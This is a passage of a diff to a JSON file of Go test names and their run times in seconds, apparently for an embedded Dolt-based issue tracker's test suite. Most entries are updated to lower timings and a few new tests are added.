"TestEmbeddedDependencyEditorRecordsOneHistoryEntryPerLandedRequest": 2.4, + "TestEmbeddedDependencyEditorRefusalWritesNothing": 1.38, + "TestEmbeddedDependencyEditorRefusesACycleThroughAParentChildHop": 5.9, + "TestEmbeddedDependencyEditorRefusesAGhostSource": 0.66, + "TestEmbeddedDependencyEditorRefusesAMissingLocalTarget": 1.15, + "TestEmbeddedDependencyEditorRefusesASamePlaneEdgeClosingACrossPlaneCycle": 2.52, + "TestEmbeddedDependencyEditorRefusesBlockingEdgeAcrossAWispHierarchy": 2.06, + "TestEmbeddedDependencyEditorRefusesBlockingEdgeAcrossItsOwnHierarchy": 1.78, + "TestEmbeddedDependencyEditorRefusesCrossPlaneCycle": 0.98, + "TestEmbeddedDependencyEditorRefusesSelfDependencyWithTheProbeSkipped": 0.49, + "TestEmbeddedDependencyEditorRelatesToAddLeavesItsSourceUnblocked": 2.53, + "TestEmbeddedDependencyEditorRemoveIsIdempotent": 2.13, + "TestEmbeddedDependencyEditorRemoveUnmarksItsSourceAndDescendants": 4.83, + "TestEmbeddedDependencyEditorRemovesOnlyTheNamedEdge": 1.19, + "TestEmbeddedDependencyEditorRepeatsWithinOneRequestCollapse": 1.57, + "TestEmbeddedDependencyEditorRetypeRefusalLeavesTheOriginalEdge": 0.92, + "TestEmbeddedDependencyEditorRoutesWispSourcedEdgeToTheWispPlane": 0.78, + "TestEmbeddedDependencyEditorRoutesWispSourcedRemovalToTheWispPlane": 1.61, + "TestEmbeddedDependencyEditorSameTypeReAddIsIdempotent": 1.23, + "TestEmbeddedDependencyEditorSameTypeReAddWithChangedMetadataMintsOneVersion": 1.36, + "TestEmbeddedDependencyEditorSameTypeReAddWithChangedThreadMintsOneVersion": 1.6, + "TestEmbeddedDependencyEditorSameTypeReAddWithIdenticalMetadataIsANoOp": 2.17, + "TestEmbeddedDependencyEditorSkipPerEdgeCycleCheckDropsOnlyTheProbe": 0.98, + "TestEmbeddedDependencyEditorSnapshotsTheRequest": 0.73, + "TestEmbeddedDependencyEditorValidationRefusalsWriteNothing": 0.72, + "TestEmbeddedDependencyEditorVersionsOnlyARealAddOrRemove": 2.29, + "TestEmbeddedDependencyEditorWritesTheTargetIntoItsTypedColumn": 1.89, + "TestEmbeddedDirtyTablesGate_BlocksReopenThenWorkingSetReconcileRecovers": 15.34, "TestEmbeddedDoltStoreIssueLifecycleBuildsOperations": 0.0, "TestEmbeddedDoltStoreIssueLifecycleRejectsNilStore": 0.0, - "TestEmbeddedEveryAcceptedLifecycleMutationMintsOneVersion": 5.86, - "TestEmbeddedGetMergeBlockersOnAQuietStore": 0.52, - "TestEmbeddedGuardedUpdateMintsOnceAfterItsPatches": 2.24, - "TestEmbeddedIgnoredMigration0019CreatesEventsForFreshClones": 12.11, - "TestEmbeddedIgnoredMigration0023NoopsOnHealthyWorkspace": 15.91, - "TestEmbeddedIgnoredMigration0023NoopsWithoutItsTables": 13.02, - "TestEmbeddedIgnoredMigration0023RepairsForkLineageJournalShape": 16.07, - "TestEmbeddedIgnoredSeriesConvergesWithFreshInitShape": 31.85, - "TestEmbeddedIssueOperationsClaimLeavesBlockedStateAlone": 4.09, - "TestEmbeddedIssueOperationsCloseAndReopenAWisp": 1.72, - "TestEmbeddedIssueOperationsCreateAggregatesRelations": 2.22, - "TestEmbeddedIssueOperationsCreateClosedDerivesTheClosedStamp": 2.84, - "TestEmbeddedIssueOperationsCreateEmptyIDPreservesParentAndReverseDependencies": 3.31, - "TestEmbeddedIssueOperationsCreateParentChildRecomputesWaitsForClosure": 3.64, - "TestEmbeddedIssueOperationsCreateReverseNonBlockingStagesConcreteTables": 2.25, - "TestEmbeddedIssueOperationsCreateRoutesInfraTypesToWisps": 4.22, - "TestEmbeddedIssueOperationsCreateUnderAParentMintsTheNextChildID": 5.14, - "TestEmbeddedIssueOperationsCreateWithDependenciesSettlesInTheCreatingTransaction": 4.32, - "TestEmbeddedIssueOperationsPersistenceRollbackWispAndDetachedResults": 5.07, - "TestEmbeddedIssueOperationsRequestValuesAreNotMutated": 2.9, - "TestEmbeddedIssueOperationsUpdateAllScalarAndPointerFieldsReportChanged": 15.17, - "TestEmbeddedIssueOperationsUpdateClaimCASAndTransferMatrix": 2.6, - "TestEmbeddedIssueOperationsUpdateClaimConflictCarriesTheLosingState": 4.89, - "TestEmbeddedIssueOperationsUpdateClaimHonorsConfiguredActiveStatuses": 2.93, - "TestEmbeddedIssueOperationsUpdateClaimPatchAppliesAfterClaim": 1.03, - "TestEmbeddedIssueOperationsUpdateClosedFieldsMatchClose": 17.14, - "TestEmbeddedIssueOperationsUpdateFoldsMetadataIntoOneEvent": 2.85, - "TestEmbeddedIssueOperationsUpdateInvalidIssueTypePreservesValidationSentinel": 0.73, - "TestEmbeddedIssueOperationsUpdateIssuePlaneOnlyRefusesWisps": 2.44, - "TestEmbeddedIssueOperationsUpdateLabelPatchOrdering": 3.02, - "TestEmbeddedIssueOperationsUpdateLabelPatchValueRules": 2.64, - "TestEmbeddedIssueOperationsUpdateMetadataReplaceClearsAndValidates": 2.62, - "TestEmbeddedIssueOperationsUpdateNotesConflictPreservesValidationSentinel": 0.76, - "TestEmbeddedIssueOperationsUpdateParentStagesBlockedStateAndRollsBackFailure": 5.78, - "TestEmbeddedIssueOperationsUpdateRawMetadataTakesTheFunnelsValueShapes": 1.5, - "TestEmbeddedIssueOperationsUpdateRefusesATypeOutsideTheWorkspaceVocabulary": 2.34, - "TestEmbeddedIssueOperationsUpdateStampsStartedAtOnceOnTheFirstInProgress": 1.77, - "TestEmbeddedIssueOperationsUpdateStatusCrossingSettlesAConditionalBlocksDepender": 7.63, - "TestEmbeddedIssueOperationsUpdateStatusCrossingSettlesDependers": 6.92, - "TestEmbeddedIssueOperationsUpdateWritesEveryScalarPatchField": 1.74, - "TestEmbeddedLenientOpenWarning_DataBehind": 73.08, - "TestEmbeddedLenientOpenWarning_OtherRefusalsKeepBluntGuidance": 17.96, - "TestEmbeddedMergeAndSettleDirtyWorkingSetSurvivesRefusedMerge": 0.76, - "TestEmbeddedMergeAndSettleFKCascadeRepair": 2.52, - "TestEmbeddedMergeAndSettleMemoryConfigConflict": 0.68, - "TestEmbeddedMergeAndSettleMetadataConflict": 0.74, - "TestEmbeddedMergeAndSettleRefusesUnknownTable": 0.91, - "TestEmbeddedMergeAndSettleReportsOperatorConflicts": 1.14, - "TestEmbeddedMergeAndSettleSkipsNonMemoryConfigConflict": 0.82, - "TestEmbeddedMigrateConvergesUnderConcurrentInterruptedRetries_4566": 31.96, - "TestEmbeddedMigrateRepairedDependenciesIDColumnCommitsAtomicallyWithVersion53_4690": 15.34, - "TestEmbeddedMigrateSelfHealsAfterMidPassFault_4566": 15.45, - "TestEmbeddedMigrateStepCommitLeavesUntouchedUserDirt_4566": 15.77, - "TestEmbeddedMigration0047DelegatesToSplitTargetRepairAndConvergesThroughIgnoredChain": 15.59, - "TestEmbeddedMigration0057ConvertsTextEventsColumnsToLongtext": 20.01, - "TestEmbeddedMigration0058AddsOnlyMissingConstraintInMixedPopulation": 9.28, - "TestEmbeddedMigration0058CleansOrphanedAndInvalidWispDependenciesRowsBeforeAddingConstraints": 10.02, - "TestEmbeddedMigration0058HealsAlreadyAffectedDatabase": 10.23, - "TestEmbeddedMigration0062FlipsEventsToIgnoredPlane": 8.38, - "TestEmbeddedMoveIssuePersistenceEphemeralNoHistorySmoke": 17.42, - "TestEmbeddedOpenForReadOnlyCommand_LenientGate": 18.99, - "TestEmbeddedOpenForRemoteSync_DataBehind": 35.97, - "TestEmbeddedOpenForRemoteSync_OtherRefusalsStayFatal": 18.37, + "TestEmbeddedEveryAcceptedLifecycleMutationMintsOneVersion": 3.83, + "TestEmbeddedGetMergeBlockersOnAQuietStore": 0.3, + "TestEmbeddedGuardedUpdateMintsOnceAfterItsPatches": 2.06, + "TestEmbeddedIgnoredMigration0019CreatesEventsForFreshClones": 8.68, + "TestEmbeddedIgnoredMigration0023NoopsOnHealthyWorkspace": 9.18, + "TestEmbeddedIgnoredMigration0023NoopsWithoutItsTables": 6.47, + "TestEmbeddedIgnoredMigration0023RepairsForkLineageJournalShape": 7.57, + "TestEmbeddedIgnoredSeriesConvergesWithFreshInitShape": 29.07, + "TestEmbeddedIssueOperationsClaimLeavesBlockedStateAlone": 2.19, + "TestEmbeddedIssueOperationsCloseAndReopenAWisp": 1.33, + "TestEmbeddedIssueOperationsCreateAggregatesRelations": 1.42, + "TestEmbeddedIssueOperationsCreateClosedDerivesTheClosedStamp": 1.34, + "TestEmbeddedIssueOperationsCreateEmptyIDPreservesParentAndReverseDependencies": 1.56, + "TestEmbeddedIssueOperationsCreateParentChildRecomputesWaitsForClosure": 2.22, + "TestEmbeddedIssueOperationsCreateReverseNonBlockingStagesConcreteTables": 1.16, + "TestEmbeddedIssueOperationsCreateRoutesInfraTypesToWisps": 1.73, + "TestEmbeddedIssueOperationsCreateUnderAParentMintsTheNextChildID": 3.79, + "TestEmbeddedIssueOperationsCreateWithDependenciesSettlesInTheCreatingTransaction": 3.06, + "TestEmbeddedIssueOperationsPersistenceRollbackWispAndDetachedResults": 3.54, + "TestEmbeddedIssueOperationsRequestValuesAreNotMutated": 2.19, + "TestEmbeddedIssueOperationsUpdateAllScalarAndPointerFieldsReportChanged": 9.04, + "TestEmbeddedIssueOperationsUpdateClaimCASAndTransferMatrix": 2.15, + "TestEmbeddedIssueOperationsUpdateClaimConflictCarriesTheLosingState": 3.17, + "TestEmbeddedIssueOperationsUpdateClaimHonorsConfiguredActiveStatuses": 2.12, + "TestEmbeddedIssueOperationsUpdateClaimPatchAppliesAfterClaim": 0.65, + "TestEmbeddedIssueOperationsUpdateClosedFieldsMatchClose": 9.43, + "TestEmbeddedIssueOperationsUpdateFoldsMetadataIntoOneEvent": 1.36, + "TestEmbeddedIssueOperationsUpdateInvalidIssueTypePreservesValidationSentinel": 0.52, + "TestEmbeddedIssueOperationsUpdateIssuePlaneOnlyRefusesWisps": 0.98, + "TestEmbeddedIssueOperationsUpdateLabelPatchOrdering": 1.06, + "TestEmbeddedIssueOperationsUpdateLabelPatchValueRules": 1.24, + "TestEmbeddedIssueOperationsUpdateMetadataReplaceClearsAndValidates": 1.93, + "TestEmbeddedIssueOperationsUpdateNotesConflictPreservesValidationSentinel": 0.65, + "TestEmbeddedIssueOperationsUpdateParentStagesBlockedStateAndRollsBackFailure": 6.98, + "TestEmbeddedIssueOperationsUpdateRawMetadataTakesTheFunnelsValueShapes": 0.77, + "TestEmbeddedIssueOperationsUpdateRefusesATypeOutsideTheWorkspaceVocabulary": 1.62, + "TestEmbeddedIssueOperationsUpdateStampsStartedAtOnceOnTheFirstInProgress": 1.03, + "TestEmbeddedIssueOperationsUpdateStatusCrossingSettlesAConditionalBlocksDepender": 5.16, + "TestEmbeddedIssueOperationsUpdateStatusCrossingSettlesDependers": 3.93, + "TestEmbeddedIssueOperationsUpdateWritesEveryScalarPatchField": 1.6, + "TestEmbeddedLenientOpenWarning_DataBehind": 55.67, + "TestEmbeddedLenientOpenWarning_OtherRefusalsKeepBluntGuidance": 10.91, + "TestEmbeddedMergeAndSettleDirtyWorkingSetSurvivesRefusedMerge": 0.45, + "TestEmbeddedMergeAndSettleFKCascadeRepair": 1.89, + "TestEmbeddedMergeAndSettleMemoryConfigConflict": 0.47, + "TestEmbeddedMergeAndSettleMetadataConflict": 0.45, + "TestEmbeddedMergeAndSettleRefusesUnknownTable": 0.8, + "TestEmbeddedMergeAndSettleReportsOperatorConflicts": 0.69, + "TestEmbeddedMergeAndSettleSkipsNonMemoryConfigConflict": 0.49, + "TestEmbeddedMigrateConsent_BehindAndDirtyWorkingSetReconcileRecovers": 14.45, + "TestEmbeddedMigrateConvergesUnderConcurrentInterruptedRetries_4566": 18.94, + "TestEmbeddedMigrateRepairedDependenciesIDColumnCommitsAtomicallyWithVersion53_4690": 13.55, + "TestEmbeddedMigrateSelfHealsAfterMidPassFault_4566": 7.62, + "TestEmbeddedMigrateStepCommitLeavesUntouchedUserDirt_4566": 8.24, + "TestEmbeddedMigration0047DelegatesToSplitTargetRepairAndConvergesThroughIgnoredChain": 10.21, + "TestEmbeddedMigration0057ConvertsTextEventsColumnsToLongtext": 10.7, + "TestEmbeddedMigration0058AddsOnlyMissingConstraintInMixedPopulation": 6.17, + "TestEmbeddedMigration0058CleansOrphanedAndInvalidWispDependenciesRowsBeforeAddingConstraints": 7.11, + "TestEmbeddedMigration0058HealsAlreadyAffectedDatabase": 6.63, + "TestEmbeddedMigration0062FlipsEventsToIgnoredPlane": 5.08, + "TestEmbeddedMoveIssuePersistenceEphemeralNoHistorySmoke": 11.27, + "TestEmbeddedOpenForReadOnlyCommand_LenientGate": 10.66, + "TestEmbeddedOpenForRemoteSync_DataBehind": 21.05, + "TestEmbeddedOpenForRemoteSync_OtherRefusalsStayFatal": 10.86, "TestEmbeddedOpenReadOnly_FreshDatabaseNoWrites": 0.0, - "TestEmbeddedOpenReadOnly_SkipsGateAndMigrations": 18.77, - "TestEmbeddedPre0058RepairMarchesDriftedWispDependenciesToFinalShape": 57.06, - "TestEmbeddedReaderDoesNotMutateTheCallerRequest": 0.91, - "TestEmbeddedReaderGetBriefDepsProjectsTheDependencyRows": 1.84, - "TestEmbeddedReaderGetDetailShapeMatchesTheSeededIssue": 1.46, - "TestEmbeddedReaderGetMissIsNotFoundAndBackendFailureDoesNotDecay": 0.48, - "TestEmbeddedReaderGetOptionalRowListsAreOffByDefault": 2.13, - "TestEmbeddedReaderGetResolvesTheExactIDAcrossBothPlanes": 1.81, - "TestEmbeddedReaderListBriefDropsTheFreeFormTextAndNothingElse": 2.8, - "TestEmbeddedReaderListCountsAreBlocksOnlyWhereGetCountsEveryEdge": 5.14, - "TestEmbeddedReaderListDefaultExclusionsAndTheirOverrides": 7.58, - "TestEmbeddedReaderListEmptyPageIsWellFormed": 0.79, - "TestEmbeddedReaderListIncludeEphemeralMergesThePlanesIntoOneOrder": 6.4, - "TestEmbeddedReaderListKeysetPositionNarrowsWithoutReplacingTheOtherPredicates": 3.76, - "TestEmbeddedReaderListKeysetPositionResumesTheCreatedDescIDAscOrder": 1.56, - "TestEmbeddedReaderListKeysetWalkOverAnOversizedGroupLosesNothingAndRepeatsNothing": 4.24, - "TestEmbeddedReaderListLimitBoundaryUnderASortTheDatabaseCanExpress": 2.66, - "TestEmbeddedReaderListMaxRowsBoundaryIsLimitPlusOffset": 4.12, - "TestEmbeddedReaderListMaxRowsIsHonored": 2.77, - "TestEmbeddedReaderListNaturalNumericIDSortTrimsAfterTheFetch": 1.84, - "TestEmbeddedReaderListParentReachesEveryDescendantAndOnlyItsOwn": 2.03, - "TestEmbeddedReaderListPriorityKeysetWalkOverAnOversizedEqualKeyRunLosesNothingAndRepeatsNothing": 4.86, - "TestEmbeddedReaderListReadyFlagAnswersTheBlockerAwareSet": 2.64, - "TestEmbeddedReaderListReadyFlagCarriesTheAssigneeAndPriorityFilters": 2.71, - "TestEmbeddedReaderListReadyFlagRefusesAFilterItCannotCarry": 2.87, - "TestEmbeddedReaderListRejectsATypeOutsideTheWorkspaceVocabulary": 1.04, - "TestEmbeddedReaderListSkipCountsDropsTheCardinalitiesAndNothingElse": 2.97, - "TestEmbeddedReaderListStatusAcceptsACommaSeparatedORSet": 1.89, - "TestEmbeddedReaderListWispTypeNarrowsTheAdmittedPlaneRatherThanAdmittingIt": 2.31, - "TestEmbeddedReaderOffsetSkipsTheRowsBeforeThePage": 3.16, - "TestEmbeddedReaderReadyBriefDropsTheFreeFormTextAndNothingElse": 1.62, - "TestEmbeddedReaderReadyDefaultTypeExclusionsYieldToAnExplicitType": 1.92, - "TestEmbeddedReaderReadyDeferredAndEphemeralGates": 1.87, - "TestEmbeddedReaderReadyEphemeralPageKeepsBothPlanesCountsAtItsBoundary": 5.32, - "TestEmbeddedReaderReadyLimitBoundary": 1.97, - "TestEmbeddedReaderReadyPageIsThePrefixOfTheUnboundedAnswerCountsIncluded": 6.4, - "TestEmbeddedReaderReadyPageWiderThanTheHydrationBatchIsStillThatPrefix": 71.65, - "TestEmbeddedReaderReadyParentScopesToItsTransitiveDescendants": 3.93, - "TestEmbeddedReaderReadySetOwnsItsStatusPinnedAndTemplateDecisions": 3.2, - "TestEmbeddedReaderReadySortPoliciesOrderTheSameRows": 1.64, - "TestEmbeddedReadyClaimerAnswersTheQuestionReaderReadyLists": 1.82, - "TestEmbeddedReadyClaimerClaimsAnEphemeralRowTheFilterAdmits": 1.62, - "TestEmbeddedReadyClaimerClaimsTheFrontRowAndReturnsThePostClaimState": 2.4, - "TestEmbeddedReadyClaimerDoesNotMutateTheCallerRequest": 0.64, - "TestEmbeddedReadyClaimerEmptyFrontIsNormal": 1.2, - "TestEmbeddedReadyClaimerFencesTheClaimByEveryLabelSetAndTheParentItWasGiven": 5.45, - "TestEmbeddedReadyClaimerHydratesOnlyItsBlocksEdgesIntoTheCardinalities": 4.27, - "TestEmbeddedReadyClaimerLeasesADurableWinButNotAnEphemeralOne": 2.09, - "TestEmbeddedReadyClaimerLeavesEphemeralRowsOutOfTheDefaultReadySet": 1.15, - "TestEmbeddedReadyClaimerRecordsOneHistoryEntryForAWin": 1.45, - "TestEmbeddedReadyClaimerRejectsLimitOffsetBriefAndEmptyActor": 0.89, - "TestEmbeddedReadyClaimerSkipsIneligibleFrontRows": 1.83, - "TestEmbeddedRecomputeAllBlockedDirtyGraphIsTyped": 0.72, - "TestEmbeddedRecomputeAllBlockedWiring": 1.9, - "TestEmbeddedRelationsAnswersAWispTargetInTheOutDirection": 2.24, - "TestEmbeddedRelationsAnswersInThePinnedOrder": 2.28, - "TestEmbeddedRelationsDirectionSelectsTheInverseGraph": 1.71, - "TestEmbeddedRelationsFiltersByAnOpenTypeVocabulary": 2.03, - "TestEmbeddedRelationsLeavesAnExternalTargetOutOfTheAnswer": 1.81, - "TestEmbeddedRelationsLeavesTheCallersRequestAlone": 1.41, - "TestEmbeddedRelationsOrdersNeighborsFromBothPlanesTogether": 2.73, - "TestEmbeddedRelationsRefusesATypeFilterOverTheColumnLength": 0.59, - "TestEmbeddedRelationsRefusesAnUnusableTypeFilter": 0.54, - "TestEmbeddedRelationsRefusesTheZeroDirection": 0.59, - "TestEmbeddedRelationsResolvesAWispAnchor": 1.56, - "TestEmbeddedRelationsResolvesTheAnchorIDExactly": 1.45, - "TestEmbeddedRelationsSeparatesNoNeighborsFromNoSuchIssue": 0.72, - "TestEmbeddedRemoteMigrateGate_BlocksReopen": 18.03, - "TestEmbeddedRenameKeepsDependencyIDsDeterministic": 13.78, - "TestEmbeddedReopenCustomDoneFallsBackWhenNormalizedTableMissing": 1.36, - "TestEmbeddedReopenIssueCategorySemantics": 5.51, - "TestEmbeddedRoleFixtureKitCountHistoryMovesWithACommit": 0.81, - "TestEmbeddedRoleFixtureKitHooksAreUsable": 1.85, + "TestEmbeddedOpenReadOnly_SkipsGateAndMigrations": 12.74, + "TestEmbeddedPre0058RepairMarchesDriftedWispDependenciesToFinalShape": 36.7, + "TestEmbeddedReaderDoesNotMutateTheCallerRequest": 0.57, + "TestEmbeddedReaderGetBriefDepsProjectsTheDependencyRows": 1.08, + "TestEmbeddedReaderGetDetailShapeMatchesTheSeededIssue": 1.0, + "TestEmbeddedReaderGetMissIsNotFoundAndBackendFailureDoesNotDecay": 0.32, + "TestEmbeddedReaderGetOptionalRowListsAreOffByDefault": 1.44, + "TestEmbeddedReaderGetResolvesTheExactIDAcrossBothPlanes": 1.46, + "TestEmbeddedReaderListBriefDropsTheFreeFormTextAndNothingElse": 1.95, + "TestEmbeddedReaderListCountsAreBlocksOnlyWhereGetCountsEveryEdge": 3.36, + "TestEmbeddedReaderListDefaultExclusionsAndTheirOverrides": 3.68, + "TestEmbeddedReaderListEmptyPageIsWellFormed": 0.46, + "TestEmbeddedReaderListIncludeEphemeralMergesThePlanesIntoOneOrder": 3.81, + "TestEmbeddedReaderListKeysetPositionNarrowsWithoutReplacingTheOtherPredicates": 2.31, + "TestEmbeddedReaderListKeysetPositionResumesTheCreatedDescIDAscOrder": 0.92, + "TestEmbeddedReaderListKeysetWalkOverAnOversizedGroupLosesNothingAndRepeatsNothing": 3.0, + "TestEmbeddedReaderListLimitBoundaryUnderASortTheDatabaseCanExpress": 1.82, + "TestEmbeddedReaderListMaxRowsBoundaryIsLimitPlusOffset": 2.54, + "TestEmbeddedReaderListMaxRowsIsHonored": 1.65, + "TestEmbeddedReaderListNaturalNumericIDSortTrimsAfterTheFetch": 2.14, + "TestEmbeddedReaderListParentReachesEveryDescendantAndOnlyItsOwn": 1.26, + "TestEmbeddedReaderListPriorityKeysetWalkOverAnOversizedEqualKeyRunLosesNothingAndRepeatsNothing": 2.44, + "TestEmbeddedReaderListReadyFlagAnswersTheBlockerAwareSet": 1.31, + "TestEmbeddedReaderListReadyFlagCarriesTheAssigneeAndPriorityFilters": 1.83, + "TestEmbeddedReaderListReadyFlagRefusesAFilterItCannotCarry": 1.79, + "TestEmbeddedReaderListRejectsATypeOutsideTheWorkspaceVocabulary": 0.7, + "TestEmbeddedReaderListSkipCountsDropsTheCardinalitiesAndNothingElse": 2.25, + "TestEmbeddedReaderListStatusAcceptsACommaSeparatedORSet": 1.23, + "TestEmbeddedReaderListWispTypeNarrowsTheAdmittedPlaneRatherThanAdmittingIt": 1.58, + "TestEmbeddedReaderOffsetSkipsTheRowsBeforeThePage": 2.27, + "TestEmbeddedReaderReadyBriefDropsTheFreeFormTextAndNothingElse": 1.09, + "TestEmbeddedReaderReadyDefaultTypeExclusionsYieldToAnExplicitType": 0.95, + "TestEmbeddedReaderReadyDeferredAndEphemeralGates": 1.2, + "TestEmbeddedReaderReadyEphemeralPageKeepsBothPlanesCountsAtItsBoundary": 2.49, + "TestEmbeddedReaderReadyLimitBoundary": 1.18, + "TestEmbeddedReaderReadyPageIsThePrefixOfTheUnboundedAnswerCountsIncluded": 4.48, + "TestEmbeddedReaderReadyPageWiderThanTheHydrationBatchIsStillThatPrefix": 44.08, + "TestEmbeddedReaderReadyParentScopesToItsTransitiveDescendants": 3.71, + "TestEmbeddedReaderReadySetOwnsItsStatusPinnedAndTemplateDecisions": 1.77, + "TestEmbeddedReaderReadySortPoliciesOrderTheSameRows": 0.53, + "TestEmbeddedReadyClaimerAnswersTheQuestionReaderReadyLists": 1.05, + "TestEmbeddedReadyClaimerClaimsAnEphemeralRowTheFilterAdmits": 0.95, + "TestEmbeddedReadyClaimerClaimsTheFrontRowAndReturnsThePostClaimState": 1.57, + "TestEmbeddedReadyClaimerDoesNotMutateTheCallerRequest": 0.34, + "TestEmbeddedReadyClaimerEmptyFrontIsNormal": 0.72, + "TestEmbeddedReadyClaimerFencesTheClaimByEveryLabelSetAndTheParentItWasGiven": 3.13, + "TestEmbeddedReadyClaimerHydratesOnlyItsBlocksEdgesIntoTheCardinalities": 3.83, + "TestEmbeddedReadyClaimerLeasesADurableWinButNotAnEphemeralOne": 1.87, + "TestEmbeddedReadyClaimerLeavesEphemeralRowsOutOfTheDefaultReadySet": 0.73, + "TestEmbeddedReadyClaimerRecordsOneHistoryEntryForAWin": 0.78, + "TestEmbeddedReadyClaimerRejectsLimitOffsetBriefAndEmptyActor": 0.46, + "TestEmbeddedReadyClaimerSkipsIneligibleFrontRows": 1.04, + "TestEmbeddedRecomputeAllBlockedDirtyGraphIsTyped": 5.52, + "TestEmbeddedRecomputeAllBlockedWiring": 1.79, + "TestEmbeddedRelationsAnswersAWispTargetInTheOutDirection": 1.54, + "TestEmbeddedRelationsAnswersInThePinnedOrder": 1.21, + "TestEmbeddedRelationsDirectionSelectsTheInverseGraph": 1.0, + "TestEmbeddedRelationsFiltersByAnOpenTypeVocabulary": 0.8, + "TestEmbeddedRelationsLeavesAnExternalTargetOutOfTheAnswer": 1.16, + "TestEmbeddedRelationsLeavesTheCallersRequestAlone": 0.81, + "TestEmbeddedRelationsOrdersNeighborsFromBothPlanesTogether": 1.47, + "TestEmbeddedRelationsRefusesATypeFilterOverTheColumnLength": 0.4, + "TestEmbeddedRelationsRefusesAnUnusableTypeFilter": 0.42, + "TestEmbeddedRelationsRefusesTheZeroDirection": 0.46, + "TestEmbeddedRelationsResolvesAWispAnchor": 1.03, + "TestEmbeddedRelationsResolvesTheAnchorIDExactly": 1.09, + "TestEmbeddedRelationsSeparatesNoNeighborsFromNoSuchIssue": 0.42, + "TestEmbeddedRemoteMigrateGate_BlocksReopen": 9.98, + "TestEmbeddedRenameKeepsDependencyIDsDeterministic": 8.71, + "TestEmbeddedReopenCustomDoneFallsBackWhenNormalizedTableMissing": 0.94, + "TestEmbeddedReopenIssueCategorySemantics": 3.54, + "TestEmbeddedRoleFixtureKitCountHistoryMovesWithACommit": 0.62, + "TestEmbeddedRoleFixtureKitHooksAreUsable": 1.35, "TestEmbeddedSQLCommitResponseLossIsIndeterminate": 0.0, - "TestEmbeddedSyncCommitsConfigBeforeMerge": 1.4, - "TestEmbeddedTempRebuildIntermediatesNeverReachHistory": 21.52, - "TestEmbeddedTransactionSameStatusDoesNotPublishUnrelatedDurableChanges": 1.63, - "TestEmbeddedTransactionStandaloneWispLifecyclePersistsWithoutDoltCommit": 3.09, - "TestEmbeddedTransactionStandaloneWispMutationDoesNotPublishUnrelatedDurableChanges": 2.64, - "TestEmbeddedTransactionWispLifecyclePersistsDurableDependent": 8.69, + "TestEmbeddedSyncCommitsConfigBeforeMerge": 0.7, + "TestEmbeddedTempRebuildIntermediatesNeverReachHistory": 10.07, + "TestEmbeddedTransactionSameStatusDoesNotPublishUnrelatedDurableChanges": 0.86, + "TestEmbeddedTransactionStandaloneWispLifecyclePersistsWithoutDoltCommit": 2.33, + "TestEmbeddedTransactionStandaloneWispMutationDoesNotPublishUnrelatedDurableChanges": 1.52, + "TestEmbeddedTransactionWispLifecyclePersistsDurableDependent": 6.16, "TestEpochContract": 0.0, - "TestEventsAutoPruneBoundsTheJournalToTheFloors": 2.74, - "TestEventsAutoPruneKeepsAnUnboundedJournalUnbounded": 1.51, - "TestEventsAutoPruneThrottleSkipsTheSecondPass": 3.34, - "TestEventsJournalAccessor": 2.42, - "TestEventsJournalPruneNeverSplitsASkewedPair": 2.51, - "TestEventsJournalPruneWhenEveryRowIsOlderThanTheCutoff": 2.02, - "TestEventsJournalReadRefusesAnInteriorHole": 1.83, - "TestEventsJournalRestartAndRetentionBoundary": 4.32, - "TestEventsJournal_ActorMatrixOnEmbedded": 5.04, - "TestEventsJournal_EmbeddedConcurrentGaplessNoDup": 4.15, - "TestEventsSinceEmbedded": 2.2, + "TestEventsAutoPruneBoundsTheJournalToTheFloors": 1.73, + "TestEventsAutoPruneKeepsAnUnboundedJournalUnbounded": 0.97, + "TestEventsAutoPruneThrottleSkipsTheSecondPass": 1.57, + "TestEventsJournalAccessor": 1.66, + "TestEventsJournalPruneNeverSplitsASkewedPair": 1.48, + "TestEventsJournalPruneWhenEveryRowIsOlderThanTheCutoff": 0.97, + "TestEventsJournalReadRefusesAnInteriorHole": 1.14, + "TestEventsJournalRestartAndRetentionBoundary": 1.46, + "TestEventsJournal_ActorMatrixOnEmbedded": 4.21, + "TestEventsJournal_EmbeddedConcurrentGaplessNoDup": 2.6, + "TestEventsSinceEmbedded": 0.98, "TestExpectedRevisionContract": 0.0, - "TestExternalCapabilityBlocksEmbeddedReadyAndAppearsInTree": 38.8, - "TestForeignSkipDetailIsBounded": 9.16, - "TestGetDependentRecordsEmbedded": 2.76, - "TestGetDependentRecordsForIssuesEmbedded": 4.19, - "TestGetIssue": 3.8, - "TestGetIssueCommentsPageEmbedded": 5.56, - "TestGetLabels": 1.66, - "TestGetNextChildID": 5.99, - "TestGetReadyWorkIncludeEphemeralAppliesWispFilters": 8.29, - "TestGetReadyWorkIncludeEphemeralExcludesNonReadyWisps": 3.58, - "TestGetReadyWorkMoleculeFilter": 2.41, + "TestExternalCapabilityBlocksEmbeddedReadyAndAppearsInTree": 24.77, + "TestForeignSkipDetailIsBounded": 5.58, + "TestGetDependentRecordsEmbedded": 2.15, + "TestGetDependentRecordsForIssuesEmbedded": 3.4, + "TestGetIssue": 2.37, + "TestGetIssueCommentsPageEmbedded": 3.1, + "TestGetLabels": 1.25, + "TestGetNextChildID": 3.75, + "TestGetReadyWorkIncludeEphemeralAppliesWispFilters": 6.5, + "TestGetReadyWorkIncludeEphemeralExcludesNonReadyWisps": 1.58, + "TestGetReadyWorkMoleculeFilter": 1.61, "TestGitRefPinsMatchDolt": 0.0, - "TestGraphCounterContract": 15.92, + "TestGraphCounterContract": 9.86, + "TestGraphWalkPlansHonorJoinHints": 5.53, "TestHasRepository": 0.0, - "TestHeartbeatMatchesActorAcrossSpellingEmbedded": 1.01, - "TestHeartbeatRejectsWispEmbedded": 0.69, + "TestHeartbeatMatchesActorAcrossSpellingEmbedded": 0.56, + "TestHeartbeatRejectsWispEmbedded": 0.29, "TestHelperProcess": 0.0, - "TestHistoryPresenceContract": 3.26, - "TestHistory_NullTextColumns": 1.66, - "TestHookFiringStoreCreateIssuesFiresDependencyUpdatesFromEmbeddedStore": 3.06, - "TestIgnoredCursorHealConvergesFromEveryCrashState": 4.9, - "TestIgnoredCursorHealIsIdempotent": 2.0, - "TestIgnoredCursorHealNeverResurrectsRolledBackVersions": 1.95, - "TestIgnoredCursorHealRespectsOperatorOverride": 1.02, - "TestIgnoredCursorHealRespectsOverrideUnderBroaderPattern": 0.95, - "TestIgnoredCursorHealResumeRespectsOperatorOverride": 1.14, - "TestIsBlockedBatchEmbedded": 2.64, - "TestJournalContract": 9.95, - "TestLargeBatchApplyStatementCounts356_Embedded": 79.51, + "TestHistoryPresenceContract": 1.96, + "TestHistory_NullTextColumns": 0.97, + 